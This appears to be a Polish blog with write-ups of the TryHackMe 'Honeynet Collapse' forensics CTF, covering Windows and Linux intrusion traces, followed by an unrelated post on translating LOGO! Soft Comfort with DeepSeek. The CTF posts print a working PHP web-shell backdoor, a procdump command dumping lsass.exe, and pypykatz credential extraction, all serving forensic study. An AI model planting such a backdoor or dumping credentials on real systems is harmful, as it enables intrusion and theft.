    0x1c8c6dd002b:	movzx	rcx, word ptr [rdx + 0x4a]
    0x1c8c6dd0030:	xor	r9, r9
    0x1c8c6dd0033:	mov	rsi, qword ptr [rdx + 0x50]
    0x1c8c6dd0037:	xor	rax, rax
    0x1c8c6dd003a:	lodsb	al, byte ptr [rsi]
    0x1c8c6dd003b:	cmp	al, 0x61
    0x1c8c6dd003d:	jl	0x1c8c6dd0041

    Pierwszy znaleziony fragment to malutki stub, ładujący większy kod. Ten większy kod również został wykryty przez moduł i to jest właśnie nasz drugi fragment. Zawiera on prawdziwy payload Meterpreter. Wystarczyło przekopiować pierwsze pięć bajtów: fc xx yy zz ee i… gotowe!

    Pytanie 6. — ruch lateralny

    • Poziom trudności: bonus 🌟
    • Liczba punktów: 25
    • Treść: Który adres IP jest używany przez hosta do przeprowadzania ruchu lateralnego przy użyciu portu 3389?

    W pytaniu bonusowym miałem znaleźć adres hosta, do którego atakujący podłączył się przez protokół RDP (port 3389).

    W tym celu chciałem użyć modułu windows.netstat, ale nic w nim nie było (oprócz połączeń do portu 445). Z tego powodu rzuciłem okiem na windows.netscan, w którym było już o wiele więcej, w tym nasze szukane połączenie:

    Volatility 3 Framework 2.26.0
    
    Proto	LocalAddr	LocalPort	ForeignAddr	ForeignPort	State		PID	Owner		
    Created
    
    [...]
    
    TCPv4	172.16.8.15	49750		xxx.yyy.zzz.ttt
    3389		ESTABLISHED	464	powershell.exe	
    2025-07-02 01:08:25.000000 UTC
    
    [...]

    Wartość w kolumnie ForeignPort to 3389, więc nasz szukany adres to xxx.yyy.zzz.ttt (wartość kolumny ForeignAddr).

  • THM Honeynet Collapse – Zadanie 4

    THM Honeynet Collapse – Zadanie 4

    Następnym zadaniem w CTFie Honeynet Collapse było zadanie 4. Polegało ono na analizie śladów włamania na Windowsie.

    Pytanie 1. — data dostępu przez RDP

    • Poziom trudności: łatwy 🟢
    • Liczba punktów: 30
    • Treść: Kiedy atakujący zalogował się do serwera za pomocą protokołu RDP?

    Pierwsze pytanie polegało na znalezieniu daty i czasu logowania atakującego przez protokół RDP. Zacząłem od przeszukiwania logów zdarzeń z kategorii odpowiadającej RDP, korzystając z opisu zadania, który mówił, że połączenie przychodziło z adresu 172.16.8.239.

    Zacząłem od przeszukiwania logów z TerminalServices-RemoteConnectionManager, wybierając jedynie zdarzenia o ID 1149 (pomyślne uwierzytelnienie w usłudze Zdalnego Pulpitu), znalazłem połączenie przychodzące z wcześniej wspomnianego adresu IP:

    Odpowiedzią na pytanie była data i czas zdarzenia.

    Pytanie 2. — podmieniony plik

    • Poziom trudności: łatwy 🟢
    • Liczba punktów: 30
    • Treść: Jaka jest pełna ścieżka do pliku binarnego zastąpionego w celu eskalacji uprawnień?

    Z opisu zadania można było się dowiedzieć, że administratorka serwera zautomatyzowała okresowe sprawdzanie statusu systemu. Pierwsze co przyszło mi na myśl to sprawdzenie, czy atakujący nie podmienił plików służących temu zadaniu. Domyśliłem się, że stworzyła ona zadanie w harmonogramie zadań (taskschd.msc) — i tak właśnie było:

    Wyświetlając szczegóły pliku od razu widać, że coś jest nie tak. Opis programu nie zgadza się z oczekiwanym. Czemu Coreinfo jest opisany jako serwer Apache? Tyle mi wystarczyło żeby wiedzieć, że to jest plik, który podmienił atakujący.

    Pytanie 3. — co to za plik?

    • Poziom trudności: średni 🟡
    • Liczba punktów: 60
    • Treść: Jakiego rodzaju złośliwe oprogramowanie zawiera zastąpiony plik binarny?

    Znaleźliśmy który to plik, ale pozostaje jeszcze się dowiedzieć, co on tak właściwie robi. To pytanie, rozwiązałem za pomocą VirusTotala. Wrzuciłem plik i od razu rzuciła mi się w oczy nazwa Meterpreter. Jest to wyjątkowo znany payload który daje szerokie możliwości interakcji z zainfekowanym systemem i pochodzi z frameworku Metasploit .

    Odpowiedzią na pytanie była nazwa tego payloadu.

    Odpowiedź dało się również znaleźć w logach PowerShella, znajdujących się w katalogu konta Administrator, ale do nich jeszcze przejdziemy.

    Pytanie 4. — kradzież poświadczeń

    • Poziom trudności: średni 🟡
    • Liczba punktów: 60
    • Treść: Jakie pełne polecenie zostało użyte do zrzutu poświadczeń z systemu operacyjnego?

    Po eskalacji uprawnień atakujący skradł poświadczenia dostępne w pamięci systemu operacyjnego. Musiałem znaleźć polecenie za pomocą którego wykonano zrzut.

    W katalogu Dokumenty użytkownika Administrator został transkrypt PowerShella z dnia, w którym przeprowadzono atak na serwer.

    Znalazłem potwierdzenie poprzedniej odpowiedzi:

    Host Application: C:\Users\emily.ross\Documents\Coreinfo64.exe
    [...]
    PS>IEX ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("DQpmdW5jdG [...]

    Transkrypt zawierał polecenia zapisane w kodowaniu Base64. Po zdekodowaniu jednego z nich (przy użyciu CyberChefa) potwierdziła się odpowiedź z pytania trzeciego:

    [...]
    return [MSF.Powershell.Meterpreter.Transport]::Add($t)
    [...]

    Pomijając długi bootstrap Meterpretera, na końcu transkryptu znajdują się znacznie krótsze logi. Pierwszy z nich wygląda interesująco:

    *****.exe /accepteula -ma lsass.exe text.txt

    Po samej obecności nazwy lsass.exe od razu wiedziałem, że znalazłem odpowiedź. LSASS odpowiada za lokalne uwierzytelnianie użytkowników i zawiera hashe NTLM zalogowanych użytkowników (nawet domenowych).

    Z otrzymanego zrzutu pamięci atakujący był w stanie wyeksportować hashe i za ich pomocą przeprowadzić atak Pass—the—Hash, którego ślady szukałem w następnym pytaniu.

    Pytanie 5. — Pass-The-Hash

    • Poziom trudności: trudny 🔴
    • Liczba punktów: 120
    • Treść: Kiedy atakujący wykonał ruch lateralny przy użyciu skradzionych poświadczeń?

    W tym pytaniu musimy znaleźć kiedy atakujący użył skradzionych poświadczeń. Jednym z narzędzi umożliwiających ich wykorzystanie jest alternatywna wersja PsExec z pakietu impacket (oficjalny PsExec z Sysinternals nie wspiera Pass-the-Hash).

    Podczas wykonywania poleceń na zdalnym komputerze przy użyciu PsExec na komputerze ofiary uruchamia się plik PsExeSVC.exe. Postanowiłem, że poszukam dowodów wskazujących na jego aktywację.

    Wykorzystałem fakt, że Windows zapisuje listę ostatnio uruchomionych plików w celu poprawienia wydajności. Ta funkcjonalność nazywa się systemem Prefetch, a jej pliki znajdują się w katalogu C:\Windows\Prefetch.

    Użyłem programu PECmd autorstwa Erica Zimmermana do sparsowania plików Prefetch:

    PECmd.exe -d C:\Windows\Prefetch --csv ..\Prefetch --csvf pe.csv

    Następnie użyłem TimelineExplorera (również autorstwa Erica) do analizy wygenerowanych plików CSV. W pliku z dopiskiem Timeline znajduje się lista uruchamianych programów, możliwa do chronologicznego posortowania.

    Okazuje się, że PsExeSVC.exe został uruchomiony w dniu ataku, kilka godzin po początkowym zalogowaniu:

    Odpowiedzią był dzień i czas uruchomienia PsExeSVC.exe.

    Pytanie 6. — kradniemy hash NTLM

    • Poziom trudności: bonus 🌟
    • Liczba punktów: 25
    • Treść: Jaki jest hash NTLM hasła użytkownika domenowego matthew.collins?

    W tym pytaniu musiałem na chwilę wcielić się w rolę atakującego i znaleźć hash NTLM użytkownika matthew.collins. Jest jeden problem: zrzut pamięci lsass.exe nic mi nie da, ponieważ użytkownik ten od dawna nie jest zalogowany na serwerze. Być może atakujący nie usunął swojego zrzutu?

    W transkrypcie z pytania czwartego było widać komunikaty z dumpera pcd.exe użytego do wykonania zrzutu procesu LSASS:

    ProcDump v11.0 - Sysinternals process dump utility
    Copyright (C) 2009-2022 Mark Russinovich and Andrew Richards
    Sysinternals - www.sysinternals.com
    
    [18:28:30] Dump 1 initiated: C:\Windows\system32\text.txt.dmp
    [18:28:31] Dump 1 writing: Estimated dump file size is 51 MB.
    [18:28:33] Dump 1 complete: 51 MB written in 2.9 seconds
    [18:28:34] Dump count reached.

    Okazuje się, że atakujący pozostawił ten plik nietknięty. Do odczytania hasha NTLM mogłem użyć mimikatza, albo pobrać plik na swoją maszynę i użyć pypykatza (implementacja mimikatza w Pythonie) — wybrałem tą drugą opcję.

    Po pobraniu pliku text.txt.dmp na swoją maszynę, wykonałem następujące polecenie:

    $ pypykatz lsa minidump text.txt.dmp

    Z wyniku polecenia odczytałem hash NTLM:

    [...]
    == LogonSession ==
    authentication_id 66488374 (3f68836)
    session_id 4
    username matthew.collins
    domainname DECEPT
    logon_server DC-01
    logon_time 2025-06-30T15:28:15.619499+00:00
    sid S-1-5-21-468272475-2474632594-3298944031-1118
    luid 66488374
    	== MSV ==
    		Username: matthew.collins
    		Domain: DECEPT
    		LM: NA
    		NT: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
    		SHA1: 435e619bc84181f42fd4c01f517878a4efd5fd32
    [...]

    Gdzie hash NTLM to wartość po NT:.

  • THM Honeynet Collapse – Zadanie 3

    THM Honeynet Collapse – Zadanie 3

    W CTFie Honeynet Collapse zadanie 3. to pierwszy, faktyczny zestaw pytań. Polegał on na analizie śladów włamania na maszynie linuxowej. Głównym celem początkowego ataku była instancja WordPressa, dostępna na porcie 80.

    Pytanie 1. — cel brute force-u

    • Poziom trudności: łatwy 🟢
    • Liczba punktów: 30
    • Treść: Którą stronę internetową atakujący próbował złamać metodą brute force?

    Z treści wynika, że atakujący próbował brute forcować którąś stronę WordPressa. Ataki brute force są wyjątkowo łatwe do wykrycia a odpowiedzi na to pytanie spodziewałem się w logach serwera Apache (choć od początku przeczuwałem, że chodzi o stronę logowania do panelu administracyjnego).

    Domyślny katalog przechowujący logi Apache to /var/log/apache. Komunikaty dotyczące dostępu do stron znajdują się w access.log.

    root@deceptipot-demo:~# cd /var/log/apache2/
    root@deceptipot-demo:/var/log/apache2# ls
    access.log  error.log  other_vhosts_access.log

    Po odczytaniu tego pliku, moje przypuszczenia bardzo szybko się potwierdziły:

    [...]
    167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "GET /******.php HTTP/1.0" 200 4838 "-" "Mozilla/5.0 (Hydra)"
    167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "POST /******.php HTTP/1.0" 200 5244 "-" "Mozilla/5.0 (Hydra)"
    167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "POST /******.php HTTP/1.0" 200 5244 "-" "Mozilla/5.0 (Hydra)"
    167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "POST /******.php HTTP/1.0" 200 5244 "-" "Mozilla/5.0 (Hydra)"
    167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "POST /******.php HTTP/1.0" 200 5244 "-" "Mozilla/5.0 (Hydra)"
    167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "POST /******.php HTTP/1.0" 200 5244 "-" "Mozilla/5.0 (Hydra)"
    167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "GET /******.php HTTP/1.0" 200 4838 "-" "Mozilla/5.0 (Hydra)"
    167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "GET /******.php HTTP/1.0" 200 4838 "-" "Mozilla/5.0 (Hydra)"
    167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "GET /******.php HTTP/1.0" 200 4838 "-" "Mozilla/5.0 (Hydra)"
    167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "GET /******.php HTTP/1.0" 200 4838 "-" "Mozilla/5.0 (Hydra)"
    167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "GET /******.php HTTP/1.0" 200 4838 "-" "Mozilla/5.0 (Hydra)"
    167.172.41.141 - - [27/Jun/2025:21:20:28 +0000] "POST /******.php HTTP/1.0" 200 5244 "-" "Mozilla/5.0 (Hydra)"
    167.172.41.141 - - [27/Jun/2025:21:20:28 +0000] "POST /******.php HTTP/1.0" 200 5244 "-" "Mozilla/5.0 (Hydra)"
    [...]

    Pytanie 2. — backdoor

    • Poziom trudności: średni 🟡
    • Liczba punktów: 60
    • Treść: Jaka jest bezwzględna ścieżka do pliku PHP z backdoorem?

    Atak brute force przeprowadzony przez atakującego okazał się pomyślny. Z pytania 2. wynika, że do jednego z plików PHP dodał on tylną furtkę, prawdopodobnie w postaci skryptu wykonującego polecenia powłoki (funkcja system).

    Tylko… jak ten plik znaleźć? Skoro i tak mamy otwarty już plik z logami dostępu, to może w nim znajdziemy coś na ten temat. WordPress pozwala na edycję szablonów, w tym plików PHP. W pliku access.log znajduje się zapis jednego żądania POST, które wskazuje na edycję szablonu:

    167.172.41.141 - - [27/Jun/2025:21:31:51 +0000] 
    "POST /wp-admin/admin-ajax.php HTTP/1.1" 
    200 595 
    "http://demo-web.deceptitech.thm/wp-admin/theme-editor.php?file=404.php&theme=blocksy" 
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"

    Wygląda na to, że atakujący zmodyfikował plik 404.php, w motywie blocksy. Wystarczy znaleźć ten plik i ewentualnie sprawdzić czy faktycznie zawiera furtkę.

    Instalacja WordPressa znajdowała się w domyślnym katalogu
    /var/www/html (sam WordPress był w podkatalogu wordpress).

    root@deceptipot-demo:/var/www/html/wordpress# ls
    index.php             wp-config-sample.php  wp-login.php
    license.txt           wp-config.php         wp-mail.php
    readme.html           wp-content            wp-settings.php
    wp-activate.php       wp-cron.php           wp-signup.php
    wp-admin              wp-includes           wp-trackback.php
    wp-blog-header.php    wp-links-opml.php     xmlrpc.php
    wp-comments-post.php  wp-load.php

    Nasz motyw blocksy znajduje się w katalogu wp-content/themes/blocksy. Po wyświetleniu plików w tym katalogu, widać również nasz szukany plik 404.php:

    root@deceptipot-demo:/var/www/html/wordpress/wp-content# ls
    index.php  plugins  themes  upgrade  uploads
    
    root@deceptipot-demo:/var/www/html/wordpress/wp-content# cd themes
    root@deceptipot-demo:/var/www/html/wordpress/wp-content/themes# ls
    blocksy    twentytwentyfive  twentytwentythree
    index.php  twentytwentyfour
    
    root@deceptipot-demo:/var/www/html/wordpress/wp-content/themes# cd blocksy
    
    root@deceptipot-demo:/var/www/html/wordpress/wp-content/themes/blocksy# ls
    404.php        footer.php     package.json    static
    LICENSE        functions.php  page.php        style.css
    admin          gulpfile.js    readme.txt      template-parts
    archive.php    header.php     screenshot.jpg  theme.json
    artifacts      inc            searchform.php  tutor
    changelog.txt  index.php      sidebar.php     woocommerce
    comments.php   languages      single.php      wpml-config.xml
    
    root@deceptipot-demo:/var/www/html/wordpress/wp-content/themes/blocksy# 

    Niespodzianka, na końcu pliku 404.php (który swoją drogą ma za zadanie wyświetlać stronę błędu, gdy serwer nie znalazł danego zasobu) znajduje się ten interesujący kawałek kodu:

    if (isset($_GET['doing_wp_corn']) && $_GET['doing_wp_corn'] === "t") {
        echo '<form method="POST" style="width: 500px; max-width: fit-content; margin-left: auto; margin-right: auto;">
                <input type="text" name="cmd" style="width: 300px;">
                <input type="submit" value="Run">
              </form>';
    
        if (isset($_POST['cmd'])) {
            echo '<pre style="width: 500px; margin-left: auto; margin-right: auto; white-space:pre-line;">';
            system($_POST['cmd']);
            echo "</pre>";
        }
    }

    Gdy w żądaniu pojawi się parametr „doing_wp_corn” z wartością „t„, serwer radośnie wykona podane polecenie przekazane w parametrze „cmd” (z uprawnieniami serwera Apache).

    Odpowiedzią na pytanie jest pełna ścieżka do pliku 404.php.

    Pytanie 3. — eskalacja uprawnień

    • Poziom trudności: łatwy 🟢
    • Liczba punktów: 30
    • Treść: Który plik umożliwił atakującemu uzyskanie uprawnień roota?

    W poprzednim pytaniu dowiedzieliśmy się, że atakujący uzyskał dostęp do badanego serwera z uprawnieniami serwera WWW. Teraz musimy znaleźć jak udało mu się eskalować te uprawnienia.

    Na serwerze została skonfigurowana usługa auditd, która monitorowała różne procesy zachodzące w trakcie pracy serwera. Logi tej usługi znajdowały się w pliku /var/log/auditd/audit.log.

    Dostępne są narzędzia do przeszukiwania logów auditd, ale zdecydowałem się ręcznie przeszukać plik, ponieważ był stosunkowo mały (226 linii).

    W pewnym momencie zauważyłem, że atakujący odczytał plik
    /etc/ssh/id_ed25519.bak. Przykuło to moją uwagę, ponieważ nie kojarzyłem, żeby domyślna instalacja takowy zawierała:

    type=EXECVE msg=audit(1751062057.449:533): 
    argc=2 a0="cat" a1="/etc/ssh/id_ed25519.bak"

    Użytkownicy korzystający z SSH z pewnością będą wiedzieli, co to za plik — jest to kopia prywatnego klucza SSH. Jeżeli fingerprint odpowiadającego mu klucza publicznego znajduje się w katalogu .ssh użytkownika root, to ktokolwiek posiadający ten klucz będzie w stanie zalogować się jako root do serwera.

    root@deceptipot-demo:~# cat /root/.ssh/authorized_keys 
    ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEQ2JTipuTqzOb5nmHURhOuPskuZr/jQvrpuG6QCHmdP emily
    
    root@deceptipot-demo:~# cat /etc/ssh/id_ed25519.pub 
    ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEQ2JTipuTqzOb5nmHURhOuPskuZr/jQvrpuG6QCHmdP root@deceptipot-demo

    I tak właśnie było. Administrator najwyraźniej zapomniał zabezpieczyć kopię zapasową swojego klucza SSH.

    Zatem odpowiedzią na pytanie jest ścieżka do tej kopii.

    Pytanie 4. — szukanie wirusa

    • Poziom trudności: trudny 🔴
    • Liczba punktów: 120
    • Treść: Jaki jest hash MD5 wirusa utrzymującego się na hoście?

    Z treści pytania jasno wynika, że atakujący zainstalował jakiegoś rodzaju złośliwe oprogramowanie na analizowanym hoście. Musiałem je znaleźć i podać jego hash MD5 (albo znaleźć sam hash).

    Postanowiłem odczytać dziennik systemowy za pomocą polecenia journalctl. W oczy od razu rzucił mi się komunikat z pewnej usługi:

    Jul 27 10:39:18 deceptipot-demo kworker[1234]: 2025/07/27 10:39:18 client: Retrying in 25.6s...
    Jul 27 10:40:29 deceptipot-demo kworker[1234]: 2025/07/27 10:40:29 client: Connection error: dial tcp 167.172.41.141:10443: i/o timeout (Attempt: 9/unlimited)

    Miałem wrażenie, że już gdzieś widziałem ten adres. Był to adres IP, z którego został przeprowadzony atak brute force z pytania pierwszego. Najwyraźniej ten sam adres był używany jako serwer C2.

    Nie mając wątpliwości, że znalazłem złośliwą usługę (kworker.service), wyświetliłem jej status.

    root@deceptipot-demo:~# systemctl status kworker.service 
    ● kworker.service - Kernel Hard Worker
         Loaded: loaded (/etc/systemd/system/kworker.service; enabled; preset: enabled)
         Active: active (running) since Sun 2025-07-27 10:32:06 UTC; 16min ago
       Main PID: 1234 (kworker)
          Tasks: 7 (limit: 2275)
         Memory: 13.2M (peak: 13.4M)
            CPU: 39ms
         CGroup: /system.slice/kworker.service
                 └─1234 /usr/sbin/kworker
    

    Kernel Hard Worker — bardzo przekonujący opis swoją drogą. Z opisu można wyczytać, że usługa uruchomiła plik /usr/sbin/kworker. Obliczyłem hash MD5 tego pliku i wysłałem jako odpowiedź:

    root@deceptipot-demo:/var/log# md5sum /usr/sbin/kworker 
    xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx  /usr/sbin/kworker

    Pytanie 5. — DeceptiPot (bonus)

    • Poziom trudności: trudny 🌟
    • Liczba punktów: 25
    • Treść: Czy możesz uruchomić DeceptiPot w trybie odzyskiwania?

    Bonusowym zadaniem było pozyskanie klasycznej flagi poprzez uruchomienie programu DeceptiPot (fikcyjny program, przygotowany specjalnie pod CTFa) w trybie odzyskiwania.

    Sam program znajdował się w katalogu /root. W tym samym folderze znalazłem również plik konfiguracyjny, zawierający poświadczenia, w tym klucz odzyskiwania (reckey):

    # [...] reszta pliku
    
    [security]
    # Recovery key to change DeceptiPot settings after deployment
    reckey = yyyyyyy
    # Disables all DeceptiPot security features, use with caution
    debugmode = true

    Samo użycie klucza było banalne:

    root@deceptipot-demo:~/deceptipot# /usr/bin/deceptipot  -h
    Usage of /usr/bin/deceptipot:
      -d          Daemonize
      -r string   Recovery Key
    root@deceptipot-demo:~/deceptipot# /usr/bin/deceptipot -r yyyyyyy
    Loading... Access granted: THM{xxxxxxxxxxxxxxxxxxxxx}

  • Spolszczenie LOGO! Soft Comfort przy użyciu AI

    Spolszczenie LOGO! Soft Comfort przy użyciu AI

    LOGO! Soft Comfort to oprogramowanie służące do budowania programów działających na sterownikach LOGO!. Posiada pewną znaczącą wadę – nie posiada spolszczenia.

    Gotowe spolszczenie do LOGO! Soft Comfort jest dostępne na moim GitHubie.

    W końcu przydały się do czegoś tokeny na DeepSeeku.

    Zrzut ekranu przedstawiający program LOGO! Soft Comfort, z polskim interfejsem.
    LOGO! Soft Comfort z zainstalowanym spolszczeniem

    Wstęp

    LOGO! Soft Comfort to program firmy Siemens służący do programowania sterowników „LOGO!”. Niestety nie posiada polskiej wersji językowej, więc postanowiłem, że wykorzystam do czegoś te zgromadzone tokeny na DeepSeeku i zrobię spolszczenie do tego programu.

    Tłumaczenie interfejsu

    Nie znalazłem żadnej instrukcji dotyczącej dodawania autorskich tłumaczeń, ale nie szukałem za specjalnie (w ogóle).

    Pierwszym miejscem gdzie zacząłem szukać plików językowych był główny katalog aplikacji. Długo szukać nie trzeba było, w oczy rzuciły się mi się pliki „Language_xx_XX.properties„, które zawierają teksty interfejsu.

    Zrzut ekranu przedstawiający listę plików językowych w katalogu głównym aplikacji LSC.
    Pliki językowe w katalogu aplikacji

    Są to pliki tekstowe przestrzegające prostego formatu:

    # English
    #
    language.en_US=English
    language.version=8.1
    # Date 2016-02-19
    # 
    # Do not remove this line! This line has to be the first line!=#
    AnalogInputPanel.configAI=AI3 and AI4 setting
    AnalogInputPanel.enable0AIBtn=Enable 0 AIs
    AnalogInputPanel.enable2AIBtn=Enable 2 AIs
    [...]
    klucz.podklucz=Tekst w danym języku

    Napisałem prosty parser w Pythonie, co później pozwoliło mi na wysłanie tekstów do API DeepSeeku, jednocześnie zachowując pewność, że LLM nie zmieni struktury pliku:

    def parse(f: IO[AnyStr]) -> List[Token]:
        tokens = []
        line = f.readline()
        while line:
            if line.startswith(CommentToken.START_TOKEN):
                tokens.append(CommentToken.from_line(line))
            elif line.strip() == '':
                tokens.append(EmptyToken())
            else:
                tokens.append(KeyValuePairToken.from_line(line))
            line = f.readline()
        return tokens

    Spolszczenie LOGO! Soft Comfort przy użyciu DeepSeeka

    Do mojego autotłumacza potrzebowałem promptu systemowego, który mówi LLMowi co ma tak właściwie robić. Jestem leniwy, więc kazałem napisać prompt innemu AI. Oto rezultat:

    SYSTEM_PROMPT = """
    You are a system prompt for an AI whose sole job is to translate English text to Polish in bulk via JSON. Use the following instructions exactly:
    You are a translation engine that converts English strings into Polish, preserving keys and JSON structure.
    
    Input:
    A JSON array of up to 200 strings, each in the form:
    [
      "key1.subkey1=English text",
      "key1.subkey2=More English text",
      …
    ]
    
    Behavior:
    1. Parse the incoming JSON array.
    2. For each element:
       a. Split at the first “=” into a key and a value.
       b. Translate the value (the English text) into Polish.
       c. Reassemble into “key=Polish text”.
    3. Preserve all keys exactly (including dots and subkeys).
    4. Preserve any punctuation, whitespace, and formatting in the translated text.
    5. Return the result as a JSON array of the same size and order:
    [
      "key1.subkey1=Polish translation",
      "key1.subkey2=Polish translation",
      …
    ]
    
    Output:
    A JSON array, no additional wrapping or commentary.
    
    Example:
    
    Input:
    [
      "greeting.hello=Hello, how are you?",
      "farewell.goodbye=Goodbye and see you soon!"
    ]
    
    Output:
    [
      "greeting.hello=Cześć, jak się masz?",
      "farewell.goodbye=Do widzenia i do zobaczenia wkrótce!"
    ]
    
    That’s all you output—just the translated JSON array.
    """

    Potrzebny był jeszcze kawałek kodu, który będzie przesyłać prompt oraz teksty do tłumaczenia do API DeepSeeka:

    from openai import OpenAI
    
    SYSTEM_PROMPT = """[...]"""
    
    class TranslationClient:
        def __init__(self, api_key: str):
            self.client = OpenAI(
                api_key=api_key, 
                base_url="https://api.deepseek.com")
    
        def translate_batch(self, texts: List[str]) -> List[str]:
            response = self.client.chat.completions.create(
                model='deepseek-chat',
                messages=[
                    {"role": "system", "content": SYSTEM_PROMPT},
                    {"role": "user", "content": json.dumps(texts)}
                ],
                stream=False
            )
            return json.loads(response.choices[0].message.content)

    Pozostało tylko połączyć to wszystko w mainie:

    def get_translatable(tokens: List[parser.Token]) -> List[parser.Token]:
        translatable = []
        for t in tokens:
            if t.get_token_type() != parser.KeyValuePairToken.TOKEN_TYPE:
                continue
            kp_token = cast(parser.KeyValuePairToken, t)
    
            # Skip language metadata keys
            if kp_token.key.startswith('language'):
                continue
            translatable.append(kp_token)
        return translatable
    
    def main_translate():
        with open('Language_pl_PL.properties', 'r') as f:
            tokens = parser.parse(f)
    
        print(f'Tokens: {len(tokens)}')
        translatable = get_translatable(tokens)
        client = translation.TranslationClient(api_key=read_api_key())
    
        all_translated = []
        all_tokens = len(translatable)
    
        for batch in itertools.batched(translatable, 15):
            strings = [str(t) for t in batch]
            print(strings)
            translated = client.translate_batch(strings)
            print(translated)
    
            all_translated.extend(translated)
            print(f'Translated: {len(all_translated)}/{all_tokens}')
    
            with open('work_file', 'w') as work:
                json.dump(all_translated, work, indent=4)
                work.flush()
        print('all done')

    W razie awarii, możemy bardzo łatwo wznowić pracę i nie marnować tokenów, ponieważ spolszczenia zapisywane są w trakcie pracy w formacie JSON do pliku roboczego.

    Pominąłem kod zapisujący tłumaczenia do pliku .properties, ale polegał na zamienianiu wcześniej sprasowanych tokenów na stringi i zapisywaniu ich do pliku.

    Pozostało skopiować wtedy stworzony plik Language_pl_PL.properties do katalogu aplikacji i zobaczyć czy w opcjach pojawił się język.

    Zrzut ekranu przedstawiający menu programu LOGO! Soft Comfort. Rozwinięta lista języków, wybrany język "Polish".
    Menu wyboru języka

    Okazuje się, że LOGO! Soft Comfort znalazł nasze spolszczenie. Wystarczy wybrać nową pozycję, zrestartować program i… jednak coś nie działa.

    Zrzut ekranu pokazujący puste białe okienko programu LOGO! Soft Comfort.

    Debugowanie

    Po szybkim zweryfikowaniu struktury pliku .properties, przeszedłem do debugowania LSC. Aplikacja została napisana w Javie i używa bootstrapera, który umożliwia włączenie przekierowywanie logów do konsoli.

    W pliku Start.lax możemy włączyć tą funkcjonalność:

    #   LAX.STDERR.REDIRECT
    #   -------------------
    #   leave blank for no output, "console" to send to a console window,
    #   and any path to a file to save to the file
    
    lax.stderr.redirect=console
    
    
    #   LAX.STDIN.REDIRECT
    #   ------------------
    #   leave blank for no input, "console" to read from the console window,
    #   and any path to a file to read from that file
    
    lax.stdin.redirect=
    
    
    #   LAX.STDOUT.REDIRECT
    #   -------------------
    #   leave blank for no output, "console" to send to a console window,
    #   and any path to a file to save to the file
    
    lax.stdout.redirect=console

    Po uruchomieniu aplikacji pojawiła się konsola. W śladach stosu widać nazwy funkcji odpowiedzialnych za „help” i „HSFile”:

    java.lang.NullPointerException
            at DE.siemens.ad.logo.app.Application.getActiveTabName(Application.java:2022)
            at DE.siemens.ad.logo.util.Log.getTextPane(Log.java:206)
            at DE.siemens.ad.logo.util.Log.print(Log.java:258)
            at DE.siemens.ad.logo.util.Log.println(Log.java:411)
            at DE.siemens.ad.logo.util.Log.printStartSequence(Log.java:458)
            at DE.siemens.ad.pdraw.app.LogoHelp.loadHSFile(LogoHelp.java:334)
            at DE.siemens.ad.pdraw.app.LogoHelp.initialize(LogoHelp.java:176)

    Okazuje się, że LogoHelp dotyczy plików podręcznika, które znajdują się w katalogu help.

    Zrzut ekranu pokazujący pliki JAR znajdujące się w katalogu help. Widoczne pliki dla 6 języków (brak polskiego).

    Po skopiowaniu angielskiej wersji podręcznika pod nazwą Help_pl_PL.jar, program uruchamia się pomyślnie.

    Spolszczenie podręcznika

    Pliki .jar są tak naprawdę plikami .zip, zatem z łatwością możemy wypakować zawartość tych plików podręcznika.

    Zrzut ekranu pokazujący rozpakowany plik podręcznika. Widoczne pliki projektu HTML Help.

    Okazuje się, że w JAR-ach znajdują się zarówno skompilowane pliki podręcznika HTML (.chm) jak i źródłowe (folder 11965523851, plik projektu .hhp, plik spisu treści: toc.xml itd.).

    Spolszczenie spisu treści

    Pliki ndx.xml oraz toc.xml rozbiłem na dwie części i wkleiłem prosto do DeepSeeka przez interfejs webowy, jednocześnie podkreślając żeby AI nie zmieniło struktury pliku. Kawałek przetłumaczonego pliku toc.xml:

    <?xml version='1.0' encoding='utf-8' ?>
    <!DOCTYPE helpset PUBLIC "-//Sun Microsystems Inc.//DTD JavaHelp HelpSet Version 1.0//EN" "http://java.sun.com/products/javahelp/helpset_1_0.dtd">
    <toc version="1.0">
    <tocitem text="Pomoc online LOGO!Soft Comfort" target="11965523851" />
    <tocitem text="LOGO!Soft Comfort V8.4" target="12109772683">
    <tocitem text="Informacje o bezpieczeństwie" target="115239771915">
    <tocitem text="Informacje o bezpieczeństwie" target="118270987275" />
    </tocitem>
    <tocitem text="Ochrona danych" target="153564199819" />
    <tocitem text="Uwaga dotycząca bezpieczeństwa" target="security.note" />
    <tocitem text="Witamy w LOGO!Soft Comfort V8.4!" target="Start_Screen" />
    <tocitem text="Zawartość DVD" target="CD_Content" />
    <tocitem text="Co nowego w LOGO!Soft Comfort?" target="25609171723">
    <tocitem text="Co nowego w LOGO!Soft Comfort V8.4?" target="161886522891" />
    <tocitem text="Co nowego w LOGO!Soft Comfort V8.3?" target="134013754251" />
    <tocitem text="Co nowego w LOGO!Soft Comfort V8.2?" target="103892283915" />
    <tocitem text="Co nowego w LOGO!Soft Comfort V8.1?" target="86268125067" />
    [...]

    W środku pliku nie wystąpiły żadne artefakty, ale za to LLM dodał zamykające tagi na końcu części plików. Po ich usunięciu i spakowaniu JAR-a, program wczytał polską wersją spisu treści.

    Zrzut ekranu pokazujący spolszczenie spisu treści programu LOGO! Soft Comfort.

    Spolszczenie treści

    Ostatnią częścią do przetłumaczenia była sama treść podręcznika zawarta w plikach .htm, które zawierają kod HTML.

    <div id="nstext" style="valign:bottom">
          <p class="blocktitlefirst">Introduction</p>
